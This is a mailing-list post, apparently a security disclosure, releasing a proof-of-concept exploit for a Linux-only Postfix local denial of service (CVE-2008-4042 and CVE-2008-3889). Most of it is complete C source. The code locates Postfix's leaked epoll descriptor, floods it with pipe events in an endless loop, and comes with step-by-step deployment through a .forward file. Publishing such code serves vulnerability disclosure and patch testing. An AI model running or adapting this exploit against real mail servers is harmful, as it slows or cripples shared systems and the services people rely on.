[Suspected Spam][CVE-2008-4042] Postfix Linux-only local denial of service - PoC

[Albert Sellarès <whats@xxxxxxxx>]

Hello,

I have released this PoC for the Linux-only local denial of service
caused by the leak of epoll file descriptors.

This Proof of concept creates a pipe and adds it in postfix's epoll file
descriptor.
When the pipe is added, an endless loop will launch lots of events to
the local and master postfix processes. 
This PoC will slowdown the system a lot.

You can find all the needed files at
http://www.wekk.net/research/CVE-2008-4042/ and
http://www.wekk.net/research/CVE-2008-3889/ and attached with this
email.

Feel free to write me for feedback, corrections, etc.

-- 
  Albert Sellarès        GPG id: 0x13053FFE
  http://www.wekk.net    whats_up@xxxxxxxxxx 
  Linux User: 324456     Catalunya           

/*
 * http://www.wekk.net/research/CVE-2008-4042/CVE-2008-4042-exploit.c
 * http://www.wekk.net/research/CVE-2008-3889/CVE-2008-3889-exploit.c
 *
 * Exploit for Postfix 2.4 before 2.4.9, 2.5 before 2.5.5, and 2.6 
 * before 2.6-20080902, when used with the Linux 2.6 kernel.
 *
 * CVE-2008-3889 & CVE-2008-4042
 *
 * by Albert Sellarès <whats[at]wekk[dot]net> - http://www.wekk.net
 * and Marc Morata Fité <marc.morata.fite[at]gmail[dot]com> 
 * 2008-09-16
 *
 * This Proof of concept creates a pipe, and adds it in the postfix's epoll 
 * file descriptor.
 * When the pipe is added, a endless loop will launch lots of events to the 
 * local and master postfix processes. 
 * This will slowdown de system a lot.
 *
 * An example of use:
 * 1- Put the content "| ~/CVE-2008-3889-exploit >> /tmp/postfix.log &" (with 
 * the double quotes) 
 * in the file ~/.forward
 *
 * 2- Put the CVE-2008-4042-exploit in your home
 * gcc CVE-2008-3889-exploit.c -o CVE-2008-3889-exploit
 *
 * 3- Send and email to the user
 *
 * You can see the output at /tmp/postfix.log
 */


#include <sys/epoll.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define FDOPEN 200


void add_fd(int fde, int fd) {
        printf("[*] Adding fd %d to eventpoll %d\n", fd, fde);
        static struct epoll_event ev;
        ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP|EPOLLET;
        errno =0;
        // If this is a socket fd, the load is high
        ev.data.u32 = 6;
        ev.data.u64 = 6;

        if (epoll_ctl(fde, EPOLL_CTL_ADD, fd, &ev) == 0) {
                printf(" => Fd %d added!\n", fd);
        } else {
                printf(" => Error (%d) adding fd %d\n", errno, fd);
        }
}

int main(int argc, char *argv[]) {

        int fds[2];
        char dir[32], c;
        int i, found = 0;

        pipe(fds);
        sprintf(dir, "/proc/%d/fd", getpid());
        printf("[*] Opening directory %s\n", dir);
        DIR *fd_dir = opendir(dir);
        struct dirent *de = readdir(fd_dir);

        // We are looking for the eventpoll file descriptor
        while (de != NULL) {
                char link_d[256];
                char link_f[256];
                memset(link_d, 0, 256);
                sprintf(link_f, "%s/%s", dir, de->d_name);
                readlink(link_f, link_d, 256);
                if ( strstr(link_d, "eventpoll") ) {
                        found = 1;
                        printf(" => %s points to %s\n", de->d_name, link_d);
                        add_fd(atoi(de->d_name), fds[0]);
                        // We can test with more than one triggered event at 
once
                        for (i = 0; i<FDOPEN; i++)
                                add_fd(atoi(de->d_name),dup(fds[0]));
                }
                de = readdir(fd_dir);
        }
        closedir(fd_dir);
        
        if (found == 0) {
                printf("[!] Are you sure that your postfix is vulnerable?\n");
                printf("[!] Are you launching me throw a .forward file?\n");
                exit(0);
        }
        
        printf("[*] Starting to flood the system!\n");
        fflush(stdout);
        close(0);
        close(1);
        close(2);

        // This triggers the events
        while (1) {
                write(fds[1], "A",1);
                read(fds[0],&c, 1);
        }

        return 0;
}

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